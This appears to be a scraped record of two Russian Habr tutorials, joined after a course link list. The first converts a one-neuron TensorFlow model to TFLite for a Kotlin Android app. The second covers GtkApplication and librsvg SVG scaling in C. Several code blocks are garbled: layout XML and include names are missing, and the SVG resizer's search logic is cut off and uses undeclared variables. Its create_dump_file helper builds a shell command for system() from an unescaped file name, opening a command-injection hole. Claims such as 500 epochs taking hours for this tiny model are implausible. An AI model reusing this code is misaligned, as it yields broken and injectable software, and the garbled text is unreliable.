* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_291222&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_291222&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_291222&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_291222&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_291222&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_291222&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_291222&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_291222&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_291222&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_291222&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_291222&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_291222&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_291222&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_291222&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_291222&utm_term=cat)
* [Профессия C++-разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_291222&utm_term=cat)
* [Профессия «Белый хакер»](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_291222&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_291222&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_291222&utm_term=cat) | https://habr.com/ru/post/707948/ | null | ru | null |
# Как перенести нейросеть на мобильное устройство
В статье поговорим как обучить несложную CNN сеть с помощью tensorflow, конвертировать готовое с помощью tensoflow-lite и перенести на мобильное устройство под управлением android.
Описывается личный опыт автора, поэтому нет претензий на всеохватывающее руководство.
### Нейросеть до конвертации.
Для старта возьмем не слишком сложную нейросеть, код которой приведен ниже:
**код нейросети**
```
import tensorflow as tf
import numpy as np
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Dense
model = Sequential([Dense(units=1, input_shape=[1])])
model.compile(optimizer='sgd', loss='mean_squared_error')
xs = np.array([-1.0, 0.0, 1.0, 2.0, 3.0, 4.0], dtype=float)
ys = np.array([-3.0, -1.0, 1.0, 3.0, 5.0, 7.0], dtype=float)
model.fit(xs, ys, epochs=500)
print(model.predict([10.0]))
```
Краткое пояснение по коду. После импорта пакетов tensorflow,numpy мы формируем модель нейросети. Модель представляет из себя только один слой и только один нейрон.
Сама структура модели представляет из себя два набора данных, в которых:
```
X = –1, 0, 1, 2, 3, 4
Y = –3, –1, 1, 3, 5, 7
```
Данные наборы «укладываются» в формулу Y = 2X – 1. Таким образом, для каждого Y из набора прослеживается зависимость.
После формирования модели производится ее компиляция с оптимизатором sgd и функцией потерь mean\_squared\_error.
Далее в модель попадают наборы данных и производится обучение на протяжении 500 эпох
(model.fit(xs, ys, epochs=500).
*\*Нейросеть лучше обучать на железе помощнее либо в Google colab для ускорения процесса, так как 500 эпох могут занять до 2-3 часов времени.*
И, наконец, модель проверяется путем подачи ей на вход числа 10.0. То есть мы пытаемся выяснить с помощью модели значение Y при X=10.0. В идеале, согласно формуле, Y должен быть 19.0. Но в итоге будет число, сильно приближенное по значению к 19.0.
Так работает созданная нейросеть. Именно ее мы и будем конвертировать и переносить на android устройство.
### Конвертация нейросети.
Для целей переноса модели на мобильное устройство воспользуемся tensorflow-lite. Сам по себе tensorflow-lite представляется из себя набор утилит, преследующий две основные цели. Первая из которых — сделать из нейросети модель, приемлемую для мобильного устройства. Обычно под этим подразумевается уменьшение размера и сложности сети, что, в свою очередь, приводит к небольшому падению точности работы. Тем не менее это необходимый компромисс между аккуратностью работы нейросети и ее размерами на мобильном устройстве. Вторая цель — создание среды выполнения для различных мобильных платформ, включая android, ios, микроконтроллеры.
Важной чертой tensorflow-lite является то, что с ее помощью невозможно тренировать модель. Нейросеть должна быть сначала обучена с помощью tensorflow и далее конвертирована в формат tensorflow-lite.
Зачем вообще переносить нейросеть на мобильное устройство?
Вопрос риторический, но из аргументов «за» — приватность используемых данных и отсутствие необходимости использования сетей связи при работе, например, с облачными решениями.
Говоря о конвертации в приемлемый tensorflow-lite формат, вернемся к коду нейросети из предыдущего блока.
Необходимо сперва сохранить готовую модель:
```
export_dir = 'model'
tf.saved_model.save(model,'model')
```
В результате получится файл «model.pb».
Теперь очередь конвертации:
```
converter = tf.lite.TFLiteConverter.from_saved_model(export_dir)
tflite_model = converter.convert()
```
Далее сохраним сконвертированную модель в формате .tflite используя pathlib:
```
import pathlib
tflite_model_file = pathlib.Path('model.tflite')
tflite_model_file.write_bytes(tflite_model)
```
Готовую model.tflite модель можно использовать в различных окружениях, например, android или ios.
Как работает модель в tensorflow-lite
-------------------------------------
### Загрузка модели, выделение тензоров
Загрузим модель в интерпретатор, выделим тензоры, которые будут использоваться для ввода данных в модель для прогнозирования, а затем прочитаем то, что выводит модель.
```
interpreter = tf.lite.Interpreter(model_content=tflite_model)
interpreter.allocate_tensors()
```
Здесь проявляется главное отличие tensorflow-lite от Tensorflow. Если во втором случае возможно просто использовать model.predict(что-то) и сразу получить результат, то в tensorflow-lite необходимо поработать с сходными и выходными тензорами, приводя свои данные для соответствия их формату.
Посмотрим как это выглядит:
```
input_details = interpreter.get_input_details()
output_details = interpreter.get_output_details()
print(input_details)
print(output_details)
```
В результате вывод будет следующим:
```
[{'name': 'dense_input', 'index': 0, **'shape': array([1, 1]**, dtype=int32),
'shape_signature': array([1, 1], dtype=int32),
'dtype': class 'numpy.float32', 'quantization': (0.0, 0),
'quantization_parameters':
{'scales': array([], dtype=float32), 'zero_points': array([], dtype=int32),
'quantized_dimension': 0}, 'sparsity_parameters': {}}]
```
В выводе input\_details необходимо обратить внимание на shape(размерность) — массив 1,1 и класс данных — numpy.float32. Эти параметры будут определять **входные** данные и их формат.
Используя данную информацию, определим Y для X=10.0:
```
to_predict = np.array([[10.0]], dtype=np.float32)
print(to_predict)
```
В выводе output\_details формат данных схож, поэтому ответ нейросети будет в виде [[y]], также как и [[x]]:
```
[{'name': 'Identity', 'index': 3, 'shape': array([1, 1], dtype=int32),
'shape_signature': array([1, 1], dtype=int32), 'dtype': , 'quantization': (0.0, 0), 'quantization\_parameters':
{'scales': array([], dtype=float32), 'zero\_points': array([], dtype=int32),
'quantized\_dimension': 0}, 'sparsity\_parameters': {}}]
```
### Прогнозирование, использование модели
Чтобы заставить интерпретатор выполнить прогнозирование, необходимо задать входной тензор со значением для прогнозирования:
```
interpreter.set_tensor(input_details[0]['index'], to_predict)
interpreter.invoke()
```
Так как у нас очень простая модель, в которой есть только один параметр ввода, поэтому это input\_details[0], к нему мы и обращаемся в индексе.
Затем мы вызываем интерпретатор с помощью метода invoke.
Теперь мы осуществим прогнозирование с помощью модели, используя выражение get\_tensor:
```
tflite_results = interpreter.get_tensor(output_details[0]['index'])
print(tflite_results)
```
Опять же, существует только один выходной тензор, поэтому он будет выглядеть как output\_details[0].
В целом код выглядит следующим образом:
```
to_predict = np.array([[10.0]], dtype=np.float32)
print(to_predict)
interpreter.set_tensor(input_details[0]['index'], to_predict)
interpreter.invoke()
tflite_results = interpreter.get_tensor(output_details[0]['index'])
print(tflite_results)
```
Вывод:
```
[[10.]]
[[18.975412]]
```
Где 10 — это входное значение или X, а 18.97 — предсказанная величина, близкая к 19 (формула нейросети та же Y=2X – 1).
### Перенос модели на android устройство (мобильный телефон)
После создания модели нейросети и ее конвертации в формат tensorflow-lite,
создадим приложение для Android.
Для этих целей воспользуемся IDE - [Android Studio](https://developer.android.com/studio), которая в особом представлении не нуждается.
Скачивание и установка Android Studio может занять время, поэтому, если с этим возникнут сложности, лучше обратиться к сторонним мануалам. Язык, который будет использоваться при создании нашего приложения — Kotlin.
Приложение, которое будет перенесено на android — это простая нейросеть, которая была создана и конвертирована выше по тексту. При вводе значения Х пользователем, нейросеть будет предсказывать Y, выводя результат на экране смартфона.
### Создаем новый проект в Android Studio
Цепочка действий после запуска Android Studio следующая:
*File → New → New Project→ Empty Activity*
Далее заполним поля проекта, не забыв указать язык — Kotlin:
После нажатия Finish, Android Studio создаст проект.
*\*На картинке уже готовый проект, при создании дизайн выглядит иначе.*
**Правим activity\_main.xml**:
Заменим код, который там приведен на
**следующий**
```
xml version="1.0" encoding="utf-8"?
```
Это сформирует внешний вид приложения.
**Добавим зависимости Tensorflow lite**
Нам нужны build.gradle файлы. Их в проекте два, и нужен тот, который содержит app в названии и расположен в директории app:
В этом файле, в конце, надо добавить зависимость tensorflow lite согласно установленной версии на ПК. В моем случае установлен «древний» tensorflow 1.9.0, поэтому добавлена эта зависимость — 
\**Как узнать версию tensorflow lite? Выполнить в cmd — pip freeze и посмотреть версию tensorflow либо через idle python — import tensorflow as tf; print(tf.\_\_version\_\_) .*
В этом же файле также необходимо добавить:
Полностью файл build.gradle будет выглядеть так:
**код**
```
plugins {
id 'com.android.application'
id 'kotlin-android'
}
android {
compileSdkVersion 30
buildToolsVersion "30.0.3"
defaultConfig {
applicationId "com.example.firsttflite"
minSdkVersion 23
targetSdkVersion 30
versionCode 1
versionName "1.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
aaptOptions {
noCompress "tflite"
}
}
dependencies {
implementation 'org.tensorflow:tensorflow-lite:1.9.0'
implementation "org.jetbrains.kotlin:kotlin-stdlib:$kotlin_version"
implementation 'androidx.core:core-ktx:1.3.1'
implementation 'androidx.appcompat:appcompat:1.2.0'
implementation 'com.google.android.material:material:1.3.0'
implementation 'androidx.constraintlayout:constraintlayout:2.0.1'
testImplementation 'junit:junit:4.+'
androidTestImplementation 'androidx.test.ext:junit:1.1.2'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.3.0'
}
```
### Теперь добавим в проект саму модель нейросети tf-lite
В папке main создадим папку assets и перенесем туда ранее сконвертированную модель — 
### Привяжем модель нейросети к android приложению
Откроем файл MainActivity.kt:
Перенесем в него
**код**
```
package com.example.firsttflite
import android.app.AlertDialog
import android.content.DialogInterface
import android.content.res.AssetManager
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.widget.Button
import android.widget.EditText
import org.tensorflow.lite.Interpreter
import java.io.FileInputStream
import java.lang.Exception
import java.nio.ByteBuffer
import java.nio.ByteOrder
import java.nio.MappedByteBuffer
import java.nio.channels.FileChannel
class MainActivity : AppCompatActivity() {
private lateinit var tflite : Interpreter
private lateinit var tflitemodel : ByteBuffer
private lateinit var txtValue : EditText
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
try{
tflitemodel = loadModelFile(this.assets, "model.tflite")
tflite = Interpreter(tflitemodel)
} catch(ex: Exception){
ex.printStackTrace()
}
var convertButton: Button = findViewById(R.id.convertButton)
convertButton.setOnClickListener{
doInference()
}
txtValue = findViewById(R.id.txtValue)
}
private fun loadModelFile(assetManager: AssetManager, modelPath: String): ByteBuffer {
val fileDescriptor = assetManager.openFd(modelPath)
val inputStream = FileInputStream(fileDescriptor.fileDescriptor)
val fileChannel = inputStream.channel
val startOffset = fileDescriptor.startOffset
val declaredLength = fileDescriptor.declaredLength
return fileChannel.map(FileChannel.MapMode.READ\_ONLY, startOffset, declaredLength)
}
private fun doInference(){
var userVal: Float = txtValue.text.toString().toFloat()
var inputVal: FloatArray = floatArrayOf(userVal)
var outputVal: ByteBuffer = ByteBuffer.allocateDirect(4)
outputVal.order(ByteOrder.nativeOrder())
tflite.run(inputVal, outputVal)
outputVal.rewind()
var f:Float = outputVal.getFloat()
val builder = AlertDialog.Builder(this)
with(builder)
{
setTitle("TFLite Interpreter")
setMessage("Your Value is:$f")
setNeutralButton("OK", DialogInterface.OnClickListener {
dialog, id -> dialog.cancel()
})
show()
}
}
}
```
После этого, можно протестировать готовое приложение, нажав на кнопку Run 'app'
Тестирование проведем в эмуляторе android устройства:
После ввода X, приложение выдаст значение Y, приближенное к расчетному значению по формуле Y=2X-1, то есть нейросеть работает.
### Создадим .apk и перенесем его на мобильный телефон
Выберем Build ->Build bundle.
Android Studio сформирует приложение с расширением .apk, которое можно забрать из ~\app\build\outputs\apk\debug и, подключив смартфон к ПК, перенести на смартфон.
**вид на телефоне**
В принципе, все, теперь простая нейросеть живет на смартфоне, занимая всего 10Мб.
Приложения:
* не конвертированная нейросеть — [скачать](https://disk.yandex.ru/d/lBrK5enjvAQ4Xg)
* конвертированная в tf-lite нейросеть — [скачать](https://disk.yandex.ru/d/rusUzcYbw-BeNQ)
* apk приложение для android — [скачать](https://disk.yandex.ru/d/zEkIuZceC64UZg)
Может быть интересно:
* [Как обойти капчу Гугл](https://habr.com/ru/post/478578/)
* [Как прикрутить нейросеть к сайту по-быстрому](https://habr.com/ru/post/545660/)
* [Как обойти капчу: нейросеть на Tensorflow,Keras,python v числовая зашумленная капча](https://habr.com/ru/post/464337/) | https://habr.com/ru/post/570052/ | null | ru | null |
# Использование GtkApplication. Особенности отрисовки librsvg
Аннотация статьи.
* Использование GtkApplication. Каркас приложения. Makefile.
* Отрисовка библиотекой librsvg.
* Экспорт изображения в GtkImage и его масшабирование.
* Масштабирование SVG самописными функциями.
* Получение полного пути в приложениях.
* Тесты быстродействия GtkDrawingArea vs GtkImage.
Ранее были статьи (не мои) в хабе GTK+, использующие в примерах функцию void gtk\_main (void); класс GtkApplication позволяет явно выделить функции обратного вызова application\_activate и application\_shutdown. C gtk\_main нужно явно подцеплять gtk\_main\_quit для того, чтобы при нажатии на крестик происходило завершение приложения. GtkApplication завершает приложение при нажатии на крестик, что более логично. Сам каркас приложения состоит из файлов main.h, Makefile, string.gresource.xml, main.c.
**main.h**
```
#ifndef MAIN_H
#define MAIN_H
#include
typedef struct{
GtkApplication \*restrict app;
GtkWidget \*restrict win;
GtkBuilder \*restrict builder;
}appdata;
appdata data;
appdata \*data\_ptr;
#endif
```
**Makefile**
здесь универсальный, позволяет компилировать все файлы исходников без указания конкретных имён файлов, но если в папке будут лишние файлы, компилятор будет ругаться.
Можно также использовать CC = g++ -std=c++11, но в функциях обратного вызова поставить
extern «C».
```
CC = gcc -std=c99
PKGCONFIG = $(shell which pkg-config)
CFLAGS = $(shell $(PKGCONFIG) --cflags gio-2.0 gtk+-3.0 librsvg-2.0) -rdynamic -O3
LIBS = $(shell $(PKGCONFIG) --libs gio-2.0 gtk+-3.0 gmodule-2.0 librsvg-2.0 epoxy) -lm
GLIB_COMPILE_RESOURCES = $(shell $(PKGCONFIG) --variable=glib_compile_resources gio-2.0)
SRC = $(wildcard *.c)
GEN = gresources.c
BIN = main
ALL = $(GEN) $(SRC)
OBJS = $(ALL:.c=.o)
all: $(BIN)
gresources.c: string.gresource.xml $(shell $(GLIB_COMPILE_RESOURCES) --sourcedir=. --generate-dependencies string.gresource.xml)
$(GLIB_COMPILE_RESOURCES) string.gresource.xml --target=$@ --sourcedir=. --generate-source
%.o: %.c
$(CC) $(CFLAGS) -c -o $(@F) $<
$(BIN): $(OBJS)
$(CC) -o $(@F) $(OBJS) $(LIBS)
clean:
@rm -f $(GEN) $(OBJS) $(BIN)
```
**string.gresource.xml**
cлужит для включения ресурсов в исполняемый файл, в данном случае это файл описания интерфейса window.glade
```
xml version="1.0" encoding="UTF-8"?
window.glade
```
**main.c**
```
#include "main.h"
GtkBuilder* builder_init(void)
{
GError *error = NULL;
data.builder = gtk_builder_new();
if (!gtk_builder_add_from_resource (data.builder, "/com/example/YourApp/window.glade", &error))
{
// загрузить файл не удалось
g_critical ("Не могу загрузить файл: %s", error->message);
g_error_free (error);
}
gtk_builder_connect_signals (data.builder,NULL);
return data.builder;
}
void application_activate(GtkApplication *application, gpointer user_data)
{
GtkBuilder *builder=builder_init();
data_ptr=&data
data.win=GTK_WIDGET(gtk_builder_get_object(builder, "window1"));
gtk_widget_set_size_request(data.win,360,240);
gtk_application_add_window(data.app,GTK_WINDOW(data.win));
gtk_widget_show_all(data.win);
}
void application_shutdown(GtkApplication *application, gpointer user_data)
{
g_object_unref(data.builder);
}
int main (int argc, char *argv[])
{
gtk_init (&argc, &argv);
gint res;
data.app = gtk_application_new("gtk.org", G_APPLICATION_FLAGS_NONE);
g_signal_connect(data.app, "activate", G_CALLBACK(application_activate), NULL);
g_signal_connect(data.app, "shutdown", G_CALLBACK(application_shutdown), NULL);
res = g_application_run(G_APPLICATION(data.app), 0, NULL);
return 0;
}
```
В первом аргументе функции gtk\_application\_new можно разместить любой текст, но без точки у меня не работало. В этом примере также опущен файл window.glade, который можно создать в UI редакторе Glade.
Разделим окно контейнером GtkBox на 2 части, в одну из них поместим GtkDrawingArea, на другую:
В результате изменится appdata
```
typedef struct{
GtkApplication *restrict app;
GtkWidget *restrict win;
GtkBuilder *restrict builder;
GtkDrawingArea *restrict draw;
GtkImage *restrict image;
GtkEventBox *restrict eventbox1;
RsvgHandle *restrict svg_handle_image;
RsvgHandle *restrict svg_handle_svg;
GdkPixbuf *pixbuf;
cairo_t *restrict cr;
cairo_surface_t *restrict surf;
}appdata;
```
И соответственно инициализация.
```
void application_activate(GtkApplication *application, gpointer user_data)
{
GtkBuilder *builder=builder_init();
data_ptr=&data
data.win=GTK_WIDGET(gtk_builder_get_object(builder, "window1"));
data.draw=GTK_DRAWING_AREA(gtk_builder_get_object(builder, "drawingarea1"));
data.image=GTK_IMAGE(gtk_builder_get_object(builder, "image1"));
gtk_widget_set_size_request(data.win,640,480);
gtk_application_add_window(data.app,GTK_WINDOW(data.win));
gtk_widget_show_all(data.win);
}
```
Добавим путь #include . (Должны быть установлены пакеты librsvg и librsvg-dev).
Имена функций обратного вызова берутся из файла .glade, за это отвечает функция
gtk\_builder\_connect\_signals (data.builder,NULL);
```
gboolean
drawingarea1_draw_cb (GtkWidget *widget, cairo_t *cr, gpointer user_data)
{
if(!data.svg_handle_svg)
{data.svg_handle_svg=rsvg_handle_new_from_file("compassmarkings.svg",NULL);}
gboolean result=rsvg_handle_render_cairo(data.svg_handle_svg,cr);
if(result&&cr)
{cairo_stroke(cr);}
else
printf("Ошибка отрисовки\n");
return FALSE;
}
```
В кое-каких ситуациях (например, HMI) может потребоваться изменение размеров SVG. Можно
менять параметры width и height в SVG файле. Или перевести в GtkPixbuf и там уже произвести масштабирование. Так как GtkImage не наследуется от GtkBin, то не может иметь собственные события типа ButtonClick (события, связанные с курсором). Для этого имеется пустой контейнер — GtkEventBox. А саму непосредственно отрисовку можно повесить прямо на GtkImage.
```
gboolean
image1_draw_cb (GtkWidget *widget, cairo_t *cr, gpointer user_data)
{
if(!data.svg_handle_image)
{
data.svg_handle_image=rsvg_handle_new_from_file("compassmarkings.svg",NULL);
data.surf=cairo_image_surface_create_from_png("2.png");
data.pixbuf=rsvg_handle_get_pixbuf(data.svg_handle_image);
}
if(data.pixbuf)
{
cairo_set_source_surface(cr,data.surf,0,0);
GdkPixbuf *dest=gdk_pixbuf_scale_simple (data.pixbuf,250,250,GDK_INTERP_BILINEAR);
gtk_image_set_from_pixbuf (data.image,dest);
g_object_unref(dest);
cairo_paint(cr);
}
}
```
В этой функции загружается фоновый рисунок (2.png), который чаще всего представляет собой
рисунок 1x1 с прозрачным пикселем. И потом на эту поверхность(surface) рендерится рисунок(pixbuf) и далее происходит масшабирование и экспорт в картинку (image).
И нельзя забывать про очистку памяти.
```
void application_shutdown(GtkApplication *application, gpointer user_data)
{
cairo_surface_destroy(data.surf);
g_object_unref(data.svg_handle_image);
g_object_unref(data.svg_handle_svg);
g_object_unref(data.pixbuf);
g_object_unref(data.builder);
}
```
В результате получилось:
Если в SVG в параметрах выставлены маленькие значения width и height, то картинка может получиться замыленной при экспорте в png.
Также можно программно изменять width и height. Для этого я создал отдельные файлы
svg\_to\_pixbuf\_class.c и svg\_to\_pixbuf\_class.h. То есть файл открывается в изменяется width, height.
Сохраняется в /dev/shm/. После экспорта информации в svg\_handle нужно удалить сам файл и строку-путь к файлу. Дробные значения ширины/длины тоже поддерживаются.
**svg\_to\_pixbuf\_class.c**
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
int char\_to\_digit(char num)
{
switch(num)
{
case '0': return 0;
case '1': return 1;
case '2': return 2;
case '3': return 3;
case '4': return 4;
case '5': return 5;
case '6': return 6;
case '7': return 7;
case '8': return 8;
case '9': return 9;
case '.': return -1;
default: return -2;
}
}
//считывает число с позиции указателя text
double read\_num\_in\_text(char\* text)
{
double result=0;
int i=0;
bool fractional\_flag=FALSE;
char whole\_part[16]={0};
char whole\_digits=0;
char fractional\_part[16]={0};
char fractional\_digits=0;
while(char\_to\_digit(text[i])!=-2)
{
if(char\_to\_digit(text[i])!=-1&&!fractional\_flag)
{
whole\_part[whole\_digits]=char\_to\_digit(text[i]);
printf("text\_num=%d|%c\n",char\_to\_digit(text[i]),text[i]);
++whole\_digits;
++i;
}
else
{
if(char\_to\_digit(text[i])==-1)
{ printf("fractional flag is true\n");
fractional\_flag=TRUE;
++i;
}
else
{
fractional\_part[fractional\_digits]=char\_to\_digit(text[i]);
++fractional\_digits;
printf("frac\_digit=%d|%c\n",char\_to\_digit(text[i]),text[i]);
++i;
}
}
}
///вычисление непосредственно самого числа
i=whole\_digits;
result=whole\_part[whole\_digits];
while(i>0)
{
--i;
printf("whole=%d\n",whole\_part[i]);
result=result+pow(10,whole\_digits-i-1)\*whole\_part[i];
}
i=0;
while(i<=fractional\_digits)
{
result=result+pow(0.1,i+1)\*fractional\_part[i];
++i;
}
printf("result\_read\_num=%lf\n",result);
return result;
}
//подситывает количество символов, которые надо удалить
//
int count\_of\_digits\_for\_delete(char\* text)
{
int i=0;
bool fractional\_flag=FALSE;
char whole\_part[16]={0};
int whole\_digits=0;
char fractional\_part[16]={0};
int fractional\_digits=0;
while(char\_to\_digit(text[i])!=-2)
{
if(char\_to\_digit(text[i])!=-1&&!fractional\_flag)
{
whole\_part[whole\_digits]=char\_to\_digit(text[i]);
printf("text\_num=%d|%c\n",char\_to\_digit(text[i]),text[i]);
++whole\_digits;
++i;
}
else
{
if(char\_to\_digit(text[i])==-1)
{ printf("fractional flag is true\n");
fractional\_flag=TRUE;
++i;
}
else
{
fractional\_part[fractional\_digits]=char\_to\_digit(text[i]);
++fractional\_digits;
printf("frac\_digit=%d|%c\n",char\_to\_digit(text[i]),text[i]);
++i;
}
}
}
if(fractional\_flag)
return whole\_digits+1+fractional\_digits;
else
return whole\_digits;
}
//создаёт пустой файл в каталоге рамдиска /dev/shm
//с именем совпадающим с названием файла
char\* create\_dump\_file(char \*file\_with\_path)
{
char \*file=NULL;
int i=0;
while(file\_with\_path[i]!='\0')
{++i;}
while(file\_with\_path[i]!='/'&&i>0)
{--i;}
file=file\_with\_path+i;
GString \*string=g\_string\_new("test -f /dev/shm");
g\_string\_append(string,file);
g\_string\_append(string,"|| touch /dev/shm/");
g\_string\_append(string,file);
system(string->str);
///нужно сформировать строку-полный путь
GString \*full\_path=g\_string\_new("/dev/shm");
g\_string\_append(full\_path,file);
char \*result=g\_string\_free(full\_path,FALSE);
return result;
}
//result must be freed with g\_string\_free
GString\* read\_file\_in\_buffer(char \*file\_with\_path)
{
FILE \*input = NULL;
struct stat buf;
int fh, result;
char \*body=NULL; //содержимое
GString \*resultat=g\_string\_new("");
fh=open(file\_with\_path, O\_RDONLY);
result=fstat(fh, &buf);
if (result !=0)
printf("Плох дескриптор файла\n");
else
{
printf("%s",file\_with\_path);
printf("Размер файла: %ld\n", buf.st\_size);
printf("Номер устройства: %lu\n", buf.st\_dev);
printf("Время модификации: %s", ctime(&buf.st\_atime));
input = fopen(file\_with\_path, "r");
if (input == NULL)
{
printf("Error opening file");
}
body=(char\*)calloc(buf.st\_size+64,sizeof(char)); //дополнительная память для цифр
//проверяем хватило ли памяти
if(body==NULL)
{
printf("Не хватает оперативной памяти для резмещения body\n");
}
int size\_count=fread(body,sizeof(char),buf.st\_size, input);
if(size\_count!=buf.st\_size)
printf("Считался не весь файл");
resultat=g\_string\_append(resultat,body);
free(body);
}
fclose(input);
return resultat;
}
void\* write\_string\_to\_file(char\* writed\_file, char\* str\_for\_write, int lenght)
{
FILE \* ptrFile = fopen (writed\_file ,"wb");
size\_t writed\_byte\_count=fwrite(str\_for\_write,1,lenght,ptrFile);
//if(writed\_byte\_count>4) return TRUE;
//else return FALSE;
fclose(ptrFile);
}
//возвращаемый результат нужно удалить при помощи g\_free
char\* get\_resized\_svg(char \*file\_with\_path, int width, int height)
{
char \*writed\_file=create\_dump\_file(file\_with\_path);
//открываем файл и копируем содержимое в буфер
GString \*body=read\_file\_in\_buffer(file\_with\_path);
char \*start\_search=NULL;
char \*end\_search=NULL;
char \*width\_start=NULL;
char \*width\_end=NULL;
char \*height\_start=NULL;
char \*height\_end=NULL;
start\_search=strstr(body->str,"");
if(end\_search)
{
///обработка параметра width
width\_start=strstr(start\_search,"width");
width\_end=width\_start+strlen("width");
///переход от тега width к его значению
while(width\_end[j]==0x0A||width\_end[j]==0x20) ++j;
if(width\_end[j]=='=') ++j;
while(width\_end[j]==0x0A||width\_end[j]==0x20) ++j;
if(width\_end[j]!='"')
printf("Ошибка анализа синтаксиса svg. Отсутсвует кавычки в параметре width=%c\n",width\_end[j]);
else ++j; ///кавычка есть
///вычисление количества символов, подлежащих удалению
gssize size=count\_of\_digits\_for\_delete(width\_end+j);
///вычисление относительной позиции (1 позиция - 1 байт)
gssize pos=width\_end+j-body->str;
///удаляем ненужное значение ширины и вставляем нужное
g\_string\_erase(body,pos,size);
char width\_new[8];
g\_snprintf(width\_new,8,"%d",width);
g\_string\_insert(body, pos, width\_new);
///обработка параметра height
height\_start=strstr(start\_search,"height");
height\_end=height\_start+strlen("height");
///переход от тега height к его значению
j=0;
while(height\_end[j]==0x0A||height\_end[j]==0x20) ++j;
if(height\_end[j]=='=') ++j;
while(height\_end[j]==0x0A||height\_end[j]==0x20) ++j;
if(height\_end[j]!='"')
printf("Ошибка анализа синтаксиса svg. Отсутсвует\
кавычки в параметре height=%c%c%c\n",height\_end[j-1],height\_end[j],height\_end[j+1]);
else ++j; ///кавычка есть
///вычисление количества символов, подлежащих удалению
size=count\_of\_digits\_for\_delete(height\_end+j);
///вычисление относительной позиции (1 позиция - 1 байт)
pos=height\_end+j-body->str;
///удаляем ненужное значение высоты и вставляем нужное
g\_string\_erase(body,pos,size);
char height\_new[8];
g\_snprintf(height\_new,8,"%d",height);
g\_string\_insert(body, pos, height\_new);
///нужно открыть на запись файл в dev/shm/
///записать изменённый массив
write\_string\_to\_file(writed\_file,body->str,strlen(body->str));
return writed\_file;
//g\_free(writed\_file);
g\_string\_free(body,TRUE);
}
else
printf("Ошибка анализа: нет закрывающей скобки у тега svg");
}
}
void resized\_svg\_free(char \*path)
{
if (remove (path)==-1 )
{
printf("Не удалось удалить файл %s\n",path);
}
}
```
**svg\_to\_pixbuf\_class.h**
```
#ifndef SVG_TO_PIXBUF_CLASS_H
#define SVG_TO_PIXBUF_CLASS_H
void resized_svg_free(char *path);
char* get_resized_svg(char *file_with_path, int width, int height); //result must be freed with g_free()
#endif
```
Теперь изменим размер левой части (которая GtkDrawingArea)
```
gboolean
drawingarea1_draw_cb (GtkWidget *widget, cairo_t *cr, gpointer user_data)
{
if(!data.svg_handle_svg)
{
char* path=get_resized_svg("/home/alex/svg_habr/compassmarkings.svg", 220, 220);
data.svg_handle_svg=rsvg_handle_new_from_file(path,NULL);
resized_svg_free(path);
g_free(path);
}
gboolean result=rsvg_handle_render_cairo(data.svg_handle_svg,cr);
if(result&&cr)
{cairo_stroke(cr);}
else
printf("Ошибка отрисовки\n");
return FALSE;
}
